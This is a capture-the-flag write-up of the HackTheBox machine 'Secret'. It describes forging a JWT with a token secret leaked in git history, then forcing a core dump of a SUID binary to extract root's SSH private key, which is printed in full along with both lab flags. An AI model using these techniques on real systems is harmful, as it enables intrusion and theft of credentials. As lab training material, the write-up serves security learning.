HTB: Secret

Posted on 28 Mar 2022 in security • 3 min read

Secret

This is a writeup about a retired HacktheBox machine: Secret publish on October 30, 2021 by z9fr. This box is rated as an easy machine. It implies a JWT token and its secret, as well as a program core dump.

Foothold

Recon

Only a few ports are open: 22(SSH), 80 (HTTP) and 3000(also an HTTP service here).

nmap

The website on port 3000, provide an API and its documentation. We can download the source code from the site. Looking at the different commit we found that the commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 "removed .env for security reasons" might be interesting.

git log

We look at the git diff for this specific commit and found the non redacted TOKEN_SECRET for the application.

git diff

We create a python script that allow to interact with the API to create an account, leveraging the known token secret to change our name to 'theadmin' using jwt_tool putting our SSH public key on the box for the 'dasith' user.

https://gist.github.com/maggick/af4eb7b8bc2aa3e55e3f8f02400235ee

We can then connect using SSH and get the user flag.

$ ssh dasith@10.129.173.112
dasith@secret:~$ cat user.txt
7eb18a62ea270f0da664dac963a7fa05

Root

Looking at the available file and specifically the SUID ones we found interesting stuff in /opt as there is a valgrind.log file, a code.c file and a SUID compiled binary. The presence of the valgrind file hint us that the binary allow for core dump.

We run the SUID binary and enumerate the /root/ and the /root/.ssh/ folders. There is a private SSH key that we want to retrieve.

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/
-rw-r--r--      .viminfo
drwxr-xr-x      ..
-rw-r--r--      .bashrc
drwxr-xr-x      .local
drwxr-xr-x      snap
lrwxrwxrwx      .bash_history
drwx------      .config
drwxr-xr-x      .pm2
-rw-r--r--      .profile
drwxr-xr-x      .vim
drwx------      .
drwx------      .cache
-r--------      root.txt
drwxr-xr-x      .npm
drwx------      .ssh

Total entries       = 15
Regular files       = 4
Directories         = 10
Symbolic links      = 1
Save results a file? [y/N]: n

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/
drwx------      ..
-rw-------      authorized_keys
-rw-------      id_rsa
drwx------      .
-rw-r--r--      id_rsa.pub

Total entries       = 5
Regular files       = 3
Directories         = 2
Symbolic links      = 0
Save results a file? [y/N]: n

We run the program again and this time we "read" the SSH key. We then put the program on background with and send a Segmentation Fault (SIGSEV) to the application using kill and put it back in the foreground generating a core dump.

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: ^Z
[1]+  Stopped                 ./count
dasith@secret:/opt$ ps
    PID TTY          TIME CMD
  1377 pts/0    00:00:00 bash
  1427 pts/0    00:00:00 count
  1456 pts/0    00:00:00 ps
dasith@secret:/opt$ kill -SIGSEGV 1427
dasith@secret:/opt$ fg
-bash: fg: job has terminated
[1]+  Segmentation fault      (core dumped) ./count

We use appor-unpack to unpack our core dump file and look for the SSH key in it.

dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/p
dasith@secret:/opt$ strings /tmp/p/CoreDump
<SNIP>
Save results a file? [y/N]: l words      = 45
Total lines      = 39
/root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3
KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+
7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA+b4xB+am6tyDthqjfPJngROf0Z26lA1
xw0OmoCdyhvQ3azlbkZZ7EWeTtQ/EYcdYofa8/mbQ+amOb9YaqWGiBai69w0Hzf06lB8cx
8G+KbGPcN174a666dRwDFmbrd9nc9E2YGn5aUfMkvbaJoqdHRHGCN1rI78J7rPRaTC8aTu
BKexPVVXhBO6+e1htuO31rHMTHABt4+6K4wv7YvmXz3Ax4HIScfopVl7futnEaJPfHBdg2
5yXbi8lafKAGQHLZjD9vsyEi5wqoVOYalTXEXZwOrstp3Y93VKx4kGGBqovBKMtl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dDzXfBlVfuPpdP8yqUnrVnzpL8U/gc1ljKcSEx262jXKHAG3mTTNKtooZAAAA
wQDPMrdvvNWrmiF9CSfTnc5v3TQfEDFCUCmtCEpTIQHhIxpiv+mocHjaPiBRnuKRPDsf81
ainyiXYooPZqUT2lBDtIdJbid6G7oLoVbx4xDJ7h4+U70rpMb/tWRBuM51v9ZXAlVUz14o
Kt+Rx9peAx7dEfTHNvfdauGJL6k3QyGo+90nQDripDIUPvE0sac1tFLrfvJHYHsYiS7hLM
dFu1uEJvusaIbslVQqpAqgX5Ht75rd0BZytTC9Dx3b71YYSdoAAADBANMZ5ELPuRUDb0Gh
mXSlMvZVJEvlBISUVNM2YC+6hxh2Mc/0Szh0060qZv9ub3DXCDXMrwR5o6mdKv/kshpaD4
Ml+fjgTzmOo/kTaWpKWcHmSrlCiMi1YqWUM6k9OCfr7UTTd7/uqkiYfLdCJGoWkehGGxep
lJpUUj34t0PD8eMFnlfV8oomTvruqx0wWp6EmiyT9zjs2vJ3zapp2HWuaSdv7s2aF3gibc
z04JxGYCePRKTBy/kth9VFsAJ3eQezpwAAAMEAwaLVktNNw+sG/Erdgt1i9/vttCwVVhw9
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----

We save the SSH key and use it to connect to the box and grab the root flag.

└─$ ssh root@10.129.173.112 -i id_rsa_root
root@secret:~# cat root.txt
bb59318145fdf4a7ea1f50e6c829141c

Wrapping up

An interesting box quit quick if you know what to do! The root part was harder for me as I never exploited that before. Also I tested some novelty in this article with the carbon code snippet not sure to keep it that way as it make it harder to copy paste and grep information from the article.